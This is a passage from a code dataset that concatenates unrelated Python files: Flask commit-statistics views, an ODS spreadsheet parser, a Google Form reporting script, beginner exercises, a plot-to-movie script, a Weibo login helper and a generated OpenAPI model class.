spec_dict\n","sub_path":"src/specd/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"639199956","text":"from flask import jsonify\nfrom app.common.client import *\nfrom app.common.module import *\nfrom app.common.db import BaseDb\nfrom app.common.config import since_hour_delta\n\n\nclass UserAvatar(BaseDb):\n\n def get(self):\n name = request.args.get(\"login\")\n query = {'login': name}\n projection = {'_id': 0, 'collection_name': 0}\n query_result = query_find_to_dictionary(self.db, 'Dev', query, projection)\n if not query_result:\n return jsonify([{'response': 404}])\n query_result[0]['db_last_updated'] = last_updated_at(query_result[0]['db_last_updated'])\n query_result[0]['response'] = 200\n return jsonify(query_result)\n\n\nclass UserCommit(BaseDb):\n\n def get(self):\n name = request.args.get(\"name\")\n start_date = start_day_string_time()\n end_date = end_date_string_time()\n query = [{'$match': {'author': name, 'committedDate': {'$gte': start_date, '$lt': end_date}}},\n {'$group': {\n '_id': {\n 'year': {'$year': \"$committedDate\"},\n 'month': {'$month': \"$committedDate\"},\n 'day': {'$dayOfMonth': \"$committedDate\"},\n },\n 'count': {'$sum': 1}\n }},\n {'$project': {'_id': 0, \"year\": \"$_id.year\", \"month\": \"$_id.month\", \"day\": \"$_id.day\", 'count': 1}}\n ]\n delta = end_date - start_date\n commits_count_list = self.db.Commit.aggregate(query)\n commits_count_list = [dict(i) for i in commits_count_list]\n for commit_count in commits_count_list:\n commit_count['date'] = dt.datetime(commit_count['year'], commit_count['month'], commit_count['day'], 0, 0)\n days = [start_date + dt.timedelta(days=i) for i in range(delta.days + 1)]\n lst = [fill_all_dates(day, commits_count_list) for day in days]\n return jsonify(lst)\n\n\nclass UserContributedRepo(BaseDb):\n\n def get(self):\n name = request.args.get(\"name\")\n start_date = start_day_string_time()\n end_date = end_date_string_time()\n query = [\n {'$match': {'author': name, 'committedDate': {'$gte': start_date, '$lte': end_date}}},\n {\n '$group':\n {\n '_id': {'repoName': \"$repoName\",\n 'org': \"$org\",\n\n }\n }\n },\n {'$project': {'_id': 0, \"org\": \"$_id.org\", 'repoName': '$_id.repoName'}}\n ]\n query_result = query_aggregate_to_dictionary(self.db, 'Commit', query)\n query_result = sorted(query_result, key=lambda x: x['repoName'].lower(), reverse=False)\n return jsonify(query_result)\n\n\nclass UserStats(BaseDb):\n\n def get(self):\n name = request.args.get(\"name\")\n start_date = start_day_string_time()\n end_date = end_date_string_time()\n delta = end_date - start_date\n query_addttions = [\n {'$match': {'author': name, 'committedDate': {'$gte': start_date, '$lte': end_date}}},\n {\n '$group':\n {\n '_id': {'author': \"$author\",\n 'year': {'$year': \"$committedDate\"},\n 'month': {'$month': \"$committedDate\"},\n 'day': {'$dayOfMonth': \"$committedDate\"},\n },\n 'totalAmount': {'$sum': '$additions'}\n }\n },\n {'$project': {'_id': 0, \"year\": \"$_id.year\", \"month\": \"$_id.month\", \"day\": \"$_id.day\",\n 'author': '$_id.author',\n 'count': '$totalAmount'}}\n ]\n query_deletions = [\n {'$match': {'author': name, 'committedDate': {'$gte': start_date, '$lte': end_date}}},\n {\n '$group':\n {\n '_id': {'author': \"$author\",\n 'year': {'$year': \"$committedDate\"},\n 'month': {'$month': \"$committedDate\"},\n 'day': {'$dayOfMonth': \"$committedDate\"},\n },\n 'totalAmount': {'$sum': '$deletions'}\n }\n },\n {'$project': {'_id': 0, \"year\": \"$_id.year\", \"month\": \"$_id.month\", \"day\": \"$_id.day\",\n 'author': '$_id.author',\n 'count': '$totalAmount'}}\n ]\n additions_list = process_data(self.db, 'Commit', query_addttions, delta, start_date)\n deletions_list = process_data(self.db, 'Commit', query_deletions, delta, start_date)\n response = [additions_list, deletions_list]\n return jsonify(response)\n\n\nclass UserTeam(BaseDb):\n\n def get(self):\n name = request.args.get(\"name\")\n query = [{'$lookup': {\n 'from': 'Teams', 'localField': 'to', 'foreignField': '_id', 'as': 'Team'}}\n , {'$lookup': {\n 'from': 'Dev', 'localField': 'from', 'foreignField': '_id', 'as': 'Dev'}},\n {\n '$match':\n {\"Dev.0.login\": name, 'type': 'dev_to_team', 'data.db_last_updated':\n {'$gte': utc_time_datetime_format(since_hour_delta)}}\n },\n {'$sort': {'Team.teamName': 1}},\n {'$project': {'_id': 0, \"Team.teamName\": 1, 'Team.org': 1, 'Team.slug': 1}}\n ]\n query_result = query_aggregate_to_dictionary(self.db, 'edges', query)\n query_result = [x['Team'][0] for x in query_result]\n query_result = sorted(query_result, key=lambda x: x['teamName'].lower(), reverse=False)\n return jsonify(query_result)\n\n\nclass UserLogin(BaseDb):\n\n def get(self):\n return name_regex_search(self.db, 'Dev', 'login')\n\n\nclass UserNewWork(BaseDb):\n\n def get(self):\n name = request.args.get(\"name\")\n start_date = start_day_string_time()\n end_date = end_date_string_time()\n query = [{'$match': {'author': name, 'committedDate': {'$gte': start_date, '$lt': end_date}}},\n {'$group': {\n '_id': {'author': \"$author\"\n },\n 'additions': {'$sum': '$additions'},\n 'deletions': {'$sum': '$deletions'},\n 'commits': {'$sum': 1},\n }},\n {'$project': {'_id': 0, 'author': '$_id.author',\n 'additions': '$additions', 'deletions': '$deletions', 'commits': '$commits'}}\n ]\n query2 = [{'$match': {'author': name, 'committedDate': {'$gte': start_date, '$lt': end_date}}},\n {'$group': {\n '_id': {\n 'year': {'$year': \"$committedDate\"},\n 'month': {'$month': \"$committedDate\"},\n 'day': {'$dayOfMonth': \"$committedDate\"},\n }\n }}\n ]\n\n commits_count_list = query_aggregate_to_dictionary(self.db, 'Commit', query)\n total_days_count = len(query_aggregate_to_dictionary(self.db, 'Commit', query2))\n all_days = [start_date + dt.timedelta(days=x) for x in range((end_date - start_date).days + 1)]\n working_days = sum(1 for d in all_days if d.weekday() < 5)\n if not commits_count_list:\n return json.dumps([[{'author': name, 'commits': 0, 'additions': 0, 'deletions': 0}, {'x': -100, 'y': 0}]])\n commits_ratio = int((total_days_count / working_days - 0.5) * 2 * 100)\n if commits_ratio >= 100:\n commits_ratio = 100\n value_result = commits_count_list[0]['additions'] - commits_count_list[0]['deletions']\n if value_result >= 0:\n addittions_deletions_ratio = int((value_result / commits_count_list[0]['additions'] - 0.5) * 200)\n else:\n addittions_deletions_ratio = -100\n return jsonify([[{'author': name, 'commits': commits_count_list[0]['commits'],\n 'additions': commits_count_list[0]['additions'], 'deletions':\n commits_count_list[0]['deletions']}, {'x': commits_ratio,\n 'y': addittions_deletions_ratio}]])\n\n","sub_path":"app/user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"419740872","text":"\"\"\"\nCopyright (c) 2012-2017 The Open Knowledge Foundation Ltd.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\nof the Software, and to permit persons to whom the Software is furnished to do\nso, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\nimport io\nimport re\nimport sys\nimport zipfile\n\nfrom lxml import etree\nfrom pyexcel_io.service import VALUE_TOKEN\n\nPY2 = sys.version_info[0] == 2\n\nODS_NAMESPACES_TAG_MATCH = re.compile(\n b\"(]*>)\", re.MULTILINE\n)\nODS_TABLE_MATCH = re.compile(\n rb\".*?().*?\", re.MULTILINE\n)\nODS_TABLE_NAME = re.compile(b'.*?table:name=\"(.*?)\".*?')\nODS_ROW_MATCH = re.compile(\n rb\".*?().*?\", re.MULTILINE\n)\nODS_DOCUMENT_CLOSE_TAG = b\"\"\nFODS_NAMESPACES_TAG_MATCH = re.compile(b\"(]*>)\", re.DOTALL)\nFODS_TABLE_MATCH = re.compile(\n rb\".*?().*?\", re.DOTALL\n)\nFODS_TABLE_NAME = re.compile(b'.*?table:name=\"(.*?)\".*?')\nFODS_ROW_MATCH = re.compile(\n rb\".*?().*?\", re.DOTALL\n)\nFODS_DOCUMENT_CLOSE_TAG = b\"\"\nNS_OPENDOCUMENT_PTTN = u\"urn:oasis:names:tc:opendocument:xmlns:%s\"\nNS_CAL_PTTN = u\"urn:org:documentfoundation:names:experimental:calc:xmlns:%s\"\nNS_OPENDOCUMENT_TABLE = NS_OPENDOCUMENT_PTTN % \"table:1.0\"\nNS_OPENDOCUMENT_OFFICE = NS_OPENDOCUMENT_PTTN % \"office:1.0\"\n\nTABLE_CELL = \"table-cell\"\nVALUE_TYPE = \"value-type\"\nCOLUMN_REPEAT = \"number-columns-repeated\"\n\nDEFAULT_NAMESPACES = {\n \"dc\": u\"http://purl.org/dc/elements/1.1/\",\n \"draw\": NS_OPENDOCUMENT_PTTN % u\"drawing:1.0\",\n \"number\": NS_OPENDOCUMENT_PTTN % u\"datastyle:1.0\",\n \"office\": NS_OPENDOCUMENT_PTTN % u\"office:1.0\",\n \"svg\": NS_OPENDOCUMENT_PTTN % u\"svg-compatible:1.0\",\n \"table\": NS_OPENDOCUMENT_PTTN % u\"table:1.0\",\n \"text\": NS_OPENDOCUMENT_PTTN % u\"text:1.0\",\n \"calcext\": NS_CAL_PTTN % u\"calcext:1.0\",\n}\n\n\nclass ODSTableSet(object):\n \"\"\"\n A wrapper around ODS files. Because they are zipped and the info we want\n is in the zipped file as content.xml we must ensure that we either have\n a seekable object (local file) or that we retrieve all of the content from\n the remote URL.\n \"\"\"\n\n def __init__(self, fileobj, window=None, **kw):\n \"\"\"Initialize the object.\n\n :param fileobj: may be a file path or a file-like object. Note the\n file-like object *must* be in binary mode and must be seekable (it will\n get passed to zipfile).\n\n As a specific tip: urllib2.urlopen returns a file-like object that is\n not in file-like mode while urllib.urlopen *does*!\n\n To get a seekable file you *cannot* use\n messytables.core.seekable_stream as it does not support the full seek\n functionality.\n \"\"\"\n if hasattr(fileobj, \"read\"):\n # wrap in a StringIO so we do not have hassle with seeks and\n # binary etc (see notes to __init__ above)\n # TODO: rather wasteful if in fact fileobj comes from disk\n fileobj = io.BytesIO(fileobj.read())\n\n self.window = window\n\n zf = zipfile.ZipFile(fileobj).open(\"content.xml\")\n self.content = zf.read()\n zf.close()\n self._table_matcher = ODS_TABLE_MATCH\n self._document_close_tag = ODS_DOCUMENT_CLOSE_TAG\n self._namespace_tag_matcher = ODS_NAMESPACES_TAG_MATCH\n self._row_set_cls = ODSRowSet\n\n def make_tables(self):\n \"\"\"\n Return the sheets in the workbook.\n\n A regex is used for this to avoid having to:\n\n 1. load large the entire file into memory, or\n 2. SAX parse the file more than once\n \"\"\"\n namespace_tags = self._get_namespace_tags()\n sheets = [\n m.groups(0)[0] for m in self._table_matcher.finditer(self.content)\n ]\n return [\n self._row_set_cls(sheet, self.window, namespace_tags)\n for sheet in sheets\n ]\n\n def _get_namespace_tags(self):\n match = re.search(self._namespace_tag_matcher, self.content)\n assert match\n tag_open = match.groups()[0]\n tag_close = self._document_close_tag\n return tag_open, tag_close\n\n\nclass ODSRowSet(object):\n \"\"\"ODS support for a single sheet in the ODS workbook. Unlike\n the CSV row set this is not a streaming operation.\"\"\"\n\n def __init__(self, sheet, window=None, namespace_tags=None):\n self.sheet = sheet\n\n self.name = \"Unknown\"\n m = ODS_TABLE_NAME.match(self.sheet)\n if m:\n self.name = m.groups(0)[0]\n if not PY2 and isinstance(self.name, bytes):\n self.name = self.name.decode(\"utf-8\")\n\n self.window = window or 1000\n\n # We must wrap the XML fragments in a valid header otherwise iterparse\n # will explode with certain (undefined) versions of libxml2. The\n # namespaces are in the ODS file, and change with the libreoffice\n # version saving it, so get them from the ODS file if possible. The\n # default namespaces are an option to preserve backwards compatibility\n # of ODSRowSet.\n if namespace_tags:\n self.namespace_tags = namespace_tags\n else:\n namespaces = DEFAULT_NAMESPACES\n\n ods_header = u\"\".format(\n \" \".join(\n 'xmlns:{0}=\"{1}\"'.format(k, v)\n for k, v in namespaces.iteritems()\n )\n ).encode(\"utf-8\")\n ods_footer = u\"\".encode(\"utf-8\")\n self.namespace_tags = (ods_header, ods_footer)\n\n self._row_matcher = ODS_ROW_MATCH\n\n def raw(self, sample=False):\n \"\"\" Iterate over all rows in this sheet. \"\"\"\n rows = self._row_matcher.findall(self.sheet)\n\n for row in rows:\n row_data = []\n\n block = self.namespace_tags[0] + row + self.namespace_tags[1]\n partial = io.BytesIO(block)\n\n for action, element in etree.iterparse(partial, (\"end\",)):\n if element.tag != _tag(NS_OPENDOCUMENT_TABLE, TABLE_CELL):\n continue\n\n cell = _read_cell(element)\n repeat = element.attrib.get(\n _tag(NS_OPENDOCUMENT_TABLE, COLUMN_REPEAT)\n )\n\n if repeat:\n number_of_repeat = int(repeat)\n row_data += [cell] * number_of_repeat\n else:\n row_data.append(cell)\n\n del partial\n yield row_data\n del rows\n\n\nclass FODSTableSet(ODSTableSet):\n \"\"\"\n A wrapper around ODS files. Because they are zipped and the info we want\n is in the zipped file as content.xml we must ensure that we either have\n a seekable object (local file) or that we retrieve all of the content from\n the remote URL.\n \"\"\"\n\n def __init__(self, fileobj, window=None, **kw):\n \"\"\"Initialize the object.\n\n :param fileobj: may be a file path or a file-like object. Note the\n file-like object *must* be in binary mode and must be seekable (it will\n get passed to zipfile).\n\n As a specific tip: urllib2.urlopen returns a file-like object that is\n not in file-like mode while urllib.urlopen *does*!\n\n To get a seekable file you *cannot* use\n messytables.core.seekable_stream as it does not support the full seek\n functionality.\n \"\"\"\n if hasattr(fileobj, \"read\"):\n self.content = fileobj.read()\n else:\n with open(fileobj, \"rb\") as f:\n self.content = f.read()\n\n self.window = window\n\n self._table_matcher = FODS_TABLE_MATCH\n self._document_close_tag = FODS_DOCUMENT_CLOSE_TAG\n self._namespace_tag_matcher = FODS_NAMESPACES_TAG_MATCH\n self._row_set_cls = FODSRowSet\n\n\nclass FODSRowSet(ODSRowSet):\n \"\"\"ODS support for a single sheet in the ODS workbook. Unlike\n the CSV row set this is not a streaming operation.\"\"\"\n\n def __init__(self, sheet, window=None, namespace_tags=None):\n super(FODSRowSet, self).__init__(sheet, window, namespace_tags)\n self._row_matcher = FODS_ROW_MATCH\n\n\ndef _read_cell(element):\n cell_type = element.attrib.get(_tag(NS_OPENDOCUMENT_OFFICE, VALUE_TYPE))\n value_token = VALUE_TOKEN.get(cell_type, \"value\")\n if cell_type == \"string\":\n cell = _read_text_cell(element)\n elif cell_type == \"currency\":\n value = element.attrib.get(_tag(NS_OPENDOCUMENT_OFFICE, value_token))\n currency = element.attrib.get(_tag(NS_OPENDOCUMENT_OFFICE, \"currency\"))\n cell = (value + \" \" + currency, \"currency\")\n elif cell_type is not None:\n value = element.attrib.get(_tag(NS_OPENDOCUMENT_OFFICE, value_token))\n cell = (value, cell_type)\n else:\n cell = (\"\", \"string\")\n return cell\n\n\ndef _read_text_cell(element):\n children = element.getchildren()\n text_content = []\n for child in children:\n text = \"\".join([x for x in child.itertext()])\n text_content.append(text)\n if len(text_content) > 0:\n cell_value = \"\\n\".join(text_content)\n else:\n cell_value = \"\"\n return (cell_value, \"string\")\n\n\ndef _tag(namespace, tag):\n return \"{%s}%s\" % (namespace, tag)\n","sub_path":"pyexcel_odsr/messyods.py","file_name":"messyods.py","file_ext":"py","file_size_in_byte":10162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335990195","text":"#from google_spreadsheet.api import SpreadsheetAPI\n#api = SpreadsheetAPI(GOOGLE_SPREADSHEET_USER, GOOGLE_SPREADSHEET_PASSWORD, GOOGLE_SPREADSHEET_SOURCE)\n#spreadsheets = api.list_spreadsheets()\n\nimport urllib2\nimport argparse\n\nparser = argparse.ArgumentParser()\n\n#{1} args.memory\nparser.add_argument(\"-m\", \"--memory\", type=float, default=0.0,\n help=\"display a square of a given number\")\n\n#{0} args.runtime\nparser.add_argument(\"-r\", \"--runtime\", type=float, default=0.0,\n help=\"display a square of a given number\") \nargs = parser.parse_args()\n\n\nurl_str=\"https://docs.google.com/forms/d/1IFqNiEE5p67_tyy7tCevn8t_p8NDWcEQ3pgEd1Ggt40/formResponse?entry.111568791={runtime}&entry.559553889={memory}\".format(runtime=args.runtime, memory=args.memory)\nurllib2.urlopen(url_str).read()\n#urllib2.urlopen(\"https://docs.google.com/forms/d/1IFqNiEE5p67_tyy7tCevn8t_p8NDWcEQ3pgEd1Ggt40/formResponse?entry.111568791=3.2&entry.559553889=5.8\").read()\n","sub_path":"scripts/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"241794034","text":"def format_name(first_name, last_name):\r\n\tif len(first_name) > 0 and len(last_name) > 0:\r\n\t\tstring = \"Name: \" + last_name + \", \" + first_name\r\n\telif len(first_name) == 0 and len(last_name) > 0:\r\n\t\tstring = \"Name: \" + last_name\r\n\telif len(first_name) > 0 and len(last_name) == 0:\r\n\t\tstring = \"Name: \" + first_name\r\n\telse: string = \"\"\r\n\treturn string\r\n\r\nprint(format_name(\"Ernest\", \"Hemingway\"))\r\n# Should return the string \"Name: Hemingway, Ernest\"\r\n\r\nprint(format_name(\"\", \"Madonna\"))\r\n# Should return the string \"Name: Madonna\"\r\n\r\nprint(format_name(\"Voltaire\", \"\"))\r\n# Should return the string \"Name: Voltaire\"\r\n\r\nprint(format_name(\"\", \"\"))\r\n# Should return an empty string\r\n\r\n\r\n\r\ndef sum(x, y):\r\n\t\treturn(x+y)\r\nprint(sum(sum(1,2), sum(3,4)))\r\n\r\n\r\n\r\n\r\n\r\ndef exam_grade(score):\r\n\tif score > 95:\r\n\t\tgrade = \"Top Score\"\r\n\telif score >= 60:\r\n\t\tgrade = \"Pass\"\r\n\telse:\r\n\t\tgrade = \"Fail\"\r\n\treturn grade\r\n\r\nprint(exam_grade(65)) # Should be Pass\r\nprint(exam_grade(55)) # Should be Fail\r\nprint(exam_grade(60)) # Should be Pass\r\nprint(exam_grade(95)) # Should be Pass\r\nprint(exam_grade(100)) # Should be Top Score\r\nprint(exam_grade(0)) # Should be Fail\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef longest_word(word1, word2, word3):\r\n\tif len(word1) >= len(word2) and len(word1) >= len(word3):\r\n\t\tword = word1\r\n\telif len(word2) >= len(word1) and len(word2) >= len(word3):\r\n\t\tword = word2\r\n\telse:\r\n\t\tword = word3\r\n\treturn(word)\r\n\r\nprint(longest_word(\"chair\", \"couch\", \"table\"))\r\nprint(longest_word(\"bed\", \"bath\", \"beyond\"))\r\nprint(longest_word(\"laptop\", \"notebook\", \"desktop\"))\r\n\r\n\r\ndef color_translator(color):\r\n\tif color == \"red\":\r\n\t\thex_color = \"#ff0000\"\r\n\telif color == \"green\":\r\n\t\thex_color = \"#00ff00\"\r\n\telif color == \"blue\":\r\n\t\thex_color = \"#0000ff\"\r\n\telse:\r\n\t\thex_color = \"unknown\"\r\n\treturn hex_color\r\n\r\nprint(color_translator(\"blue\")) # Should be #0000ff\r\nprint(color_translator(\"yellow\")) # Should be unknown\r\nprint(color_translator(\"red\")) # Should be #ff0000\r\nprint(color_translator(\"black\")) # Should be unknown\r\nprint(color_translator(\"green\")) # Should be #00ff00\r\nprint(color_translator(\"\")) # Should be unknown\r\n\r\n\r\ndef fractional_part(numerator, denominator):\r\n\tif denominator == 0 :\r\n\t\treturn 0\r\n\tremainder = numerator % denominator\r\n\tif remainder > 0 :\r\n\t\tfp = remainder / denominator\r\n\t\treturn fp\r\n\telif remainder == 0 :\r\n\t\treturn 0\r\n\r\n\r\nprint(fractional_part(5, 5)) # Should be 0\r\nprint(fractional_part(5, 4)) # Should be 0.25\r\nprint(fractional_part(5, 3)) # Should be 0.66...\r\nprint(fractional_part(5, 2)) # Should be 0.5\r\nprint(fractional_part(5, 0)) # Should be 0\r\nprint(fractional_part(0, 5)) # Should be 0\r\n","sub_path":"ex.py","file_name":"ex.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"358453037","text":"from pylab import *\nimport sys\nimport os\nimport pencil as pc\nfrom pencil.files.npfile import npfile\nfrom pencil.files.dim import read_dim\nfrom pencil.files.var import read_var\n\ndef make_movie(field='rhop', datadir='./', proc=-1, extension='xy',\n format='native', tmin=0., tmax=1.e38, transform='',\n oldfile=False):\n\n ff = pc.read_var(trimall=True)\n dim = pc.read_dim()\n \n rhop = ff.rhop\n r2d, phi2d = meshgrid(ff.x, ff.y)\n x = r2d*cos(phi2d).astype('float16')\n y = r2d*sin(phi2d).astype('float16')\n\n epsi = 1e-4\n hsize = dim.nx\n vsize = dim.ny\n dimz = int(dim.nz/2)\n \n lg_rhop_xy = log10(rhop[dimz,...] + epsi)\n max_rhop = lg_rhop_xy.max()\n \n datadir = os.path.expanduser(datadir)\n\n if proc < 0:\n filename = datadir + '/slice_' + field + '.' + extension\n else:\n filename = datadir + '/proc' + str(proc) + '/slice_' + field \\\n + '.' + extension\n\n dim = read_dim(datadir, proc)\n\n if dim.precision == 'D':\n precision = 'd'\n\n plane = zeros((vsize, hsize), dtype=precision)\n\n infile = npfile(filename, endian=format)\n files = []\n\n ifirst = True\n islice = 0\n\n fig = figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n ax.set_facecolor('black')\n clbr = contourf(x, y, plane, linspace(max_rhop-4,max_rhop, 256))\n cbar = fig.colorbar(clbr)\n while True:\n try:\n raw_data = infile.fort_read(precision)\n except ValueError:\n break\n except TypeError:\n break\n\n #if oldfile:\n # t = raw_data[-1]\n # plane = raw_data[:-1].reshape(vsize, hsize)\n #else:\n # t = raw_data[-2]\n # plane = raw_data[:-2].reshape(vsize, hsize)\n t = raw_data[-2]\n plane = log10(raw_data[:-2].reshape(vsize, hsize))\n\n res = linspace(plane.max()-4, plane.max(), 256)\n \n if transform:\n exec('plane = plane' + transform)\n\n if t > tmin and t < tmax:\n ax.set_facecolor('black')\n ax.set_aspect('equal')\n ax.cla()\n ax.contourf(x, y, plane, res)\n# ax.contourf(x, y, plane, linspace(max_rhop-4,max_rhop, 256))\n ax.set_title('Dust Density t=%s' % ('{:.2f}'.format(t)))\n fname = '_img%03d.png' % islice\n print('Saving frame' + fname)\n fig.savefig(fname, dpi=300)\n files.append(fname)\n\n if ifirst:\n print(\"----islice----------t\")\n print(\"{0:10} {1:10.3e}\".format(islice, t))\n\n ifirst = False\n islice += 1\n \n os.system(\"mencoder 'mf://_img*.png' -mf type=png:fps=24 -ovc lavc -lavcopts vcodec=wmv2 -oac copy -o animation.mpg\")\n infile.close()\n\nmake_movie(field='rhop', datadir='data/', proc=-1, extension='xy',\n format='native', tmin=0., tmax=1.e8, transform='',\n oldfile=False)\n","sub_path":"scripts/makemovie.py","file_name":"makemovie.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"624258687","text":"# coding=utf-8\nfrom lib.baselib import *\nfrom PIL import Image\nfrom cStringIO import StringIO\nfrom config import WUSERNAME,WPASSWD,USER_AGENT,VERIFY_CODE_PATH,ROOTPATH\ncookiefile = r'{}\\wb_cookies.pkl'.format(ROOTPATH)\ndef setWeiBoCookie():\n headers = {\n 'User-Agent': USER_AGENT,\n 'Cache-Control': 'no-cache',\n 'Connection': 'keep-alive',\n 'Pragma': 'no-cache',\n }\n for key, value in enumerate(headers):\n webdriver.DesiredCapabilities.PHANTOMJS['phantomjs.page.customHeaders.{}'.format(key)] = value\n\n loginurl = 'http://account.weibo.com/set/bindsns/unicomoauth'\n driver = webdriver.PhantomJS()\n driver.set_window_size(400,400)\n driver.set_window_position(0,0)\n driver.get(loginurl)\n # print(driver.page_source)\n WebDriverWait(driver, 30).until(EC.visibility_of_element_located((By.CLASS_NAME, 'landingDiv')))\n nameinput = driver.find_element_by_id('txtWoID')\n passwordinput = driver.find_element_by_id('txtPassword')\n sbtn = driver.find_element_by_id('btConsent')\n nameinput.send_keys(WUSERNAME)\n passwordinput.send_keys(WPASSWD)\n verify = driver.find_element_by_id('verifyCode')\n # driver.save_screenshot(u'../ichen/2.jpg')\n if verify.is_displayed():\n woverifycode = ''\n verifyimg = driver.find_element_by_id('valueCode')\n left = verifyimg.location['x']+30\n top = verifyimg.location['y']\n right = left + 80\n bottom = top + 32\n # right = left + verifyimg.size['width']\n # bottom = top + verifyimg.size['height']\n imgdata = StringIO(driver.get_screenshot_as_png())\n img = Image.open(imgdata)\n img = img.crop((left, top, right, bottom))\n img.save(VERIFY_CODE_PATH, quality=20)\n while 1:\n woverifycode = raw_input(u'input verify code:')\n if len(woverifycode) != 4 and woverifycode != 'r':\n print(u'reinput verify code:')\n elif woverifycode == u'r':\n driver.refresh()\n WebDriverWait(driver, 30).until(EC.visibility_of_element_located((By.CLASS_NAME, 'landingDiv')))\n print(u'reget')\n imgdata = StringIO(driver.get_screenshot_as_png())\n img = Image.open(imgdata)\n img = img.crop((left, top, right, bottom))\n img.save(VERIFY_CODE_PATH, quality=20)\n else:\n print(u'your input verify code:{}'.format(woverifycode))\n break\n verify.send_keys(woverifycode)\n sbtn.click()\n time.sleep(3)\n cPickle.dump(driver.get_cookies(), open(cookiefile, \"wb\"))\n print(u'Set Weibo cookie done')\n driver.close()\n driver.quit()\ndef buildWeiBoSession():\n \"\"\"\n 登录weibo\n :return:\n \"\"\"\n headers = {\n 'User-Agent': USER_AGENT,\n 'Cache-Control': 'no-cache',\n 'Connection': 'keep-alive',\n 'Pragma': 'no-cache',\n }\n mwbheader = {\n 'Host': 'm.weibo.cn',\n 'Origin': 'http://m.weibo.cn',\n 'Referer': 'http://m.weibo.cn/mblog',\n }\n session = requests.session()\n session.headers.update(headers)\n if not os.path.isfile(cookiefile):\n setWeiBoCookie()\n cookies = cPickle.load(open(cookiefile, \"rb\"))\n for cookie in cookies:\n session.cookies.set(cookie['name'], cookie['value'])\n islogin = robustHttpConn('http://m.weibo.cn',headers=mwbheader,session=session, allow_redirects=False)\n if islogin.status_code == 302:\n print(u'微博cookie失效')\n setWeiBoCookie()\n cookies = cPickle.load(open(cookiefile, \"rb\"))\n for cookie in cookies:\n session.cookies.set(cookie['name'], cookie['value'])\n elif islogin.status_code == 200:\n print(u'微博cookie有效')\n return session","sub_path":"lib/buildWeiBoSession.py","file_name":"buildWeiBoSession.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"239639412","text":"# coding: utf-8\n\n\"\"\"\n Adobe Experience Manager OSGI config (AEM) API\n\n Swagger AEM OSGI is an OpenAPI specification for Adobe Experience Manager (AEM) OSGI Configurations API # noqa: E501\n\n OpenAPI spec version: 1.0.0-pre.0\n Contact: opensource@shinesolutions.com\n Generated by: https://openapi-generator.tech\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties(object):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n openapi_types = {\n 'auth_ims_client_secret': 'ConfigNodePropertyString',\n 'customizer_type': 'ConfigNodePropertyString'\n }\n\n attribute_map = {\n 'auth_ims_client_secret': 'auth.ims.client.secret',\n 'customizer_type': 'customizer.type'\n }\n\n def __init__(self, auth_ims_client_secret=None, customizer_type=None): # noqa: E501\n \"\"\"ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties - a model defined in OpenAPI\"\"\" # noqa: E501\n\n self._auth_ims_client_secret = None\n self._customizer_type = None\n self.discriminator = None\n\n if auth_ims_client_secret is not None:\n self.auth_ims_client_secret = auth_ims_client_secret\n if customizer_type is not None:\n self.customizer_type = customizer_type\n\n @property\n def auth_ims_client_secret(self):\n \"\"\"Gets the auth_ims_client_secret of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties. # noqa: E501\n\n\n :return: The auth_ims_client_secret of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties. # noqa: E501\n :rtype: ConfigNodePropertyString\n \"\"\"\n return self._auth_ims_client_secret\n\n @auth_ims_client_secret.setter\n def auth_ims_client_secret(self, auth_ims_client_secret):\n \"\"\"Sets the auth_ims_client_secret of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties.\n\n\n :param auth_ims_client_secret: The auth_ims_client_secret of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties. # noqa: E501\n :type: ConfigNodePropertyString\n \"\"\"\n\n self._auth_ims_client_secret = auth_ims_client_secret\n\n @property\n def customizer_type(self):\n \"\"\"Gets the customizer_type of this ComAdobeGraniteAuthImsImplIMSAccessTokenRequestCustomizerImplProperties. # noqa: 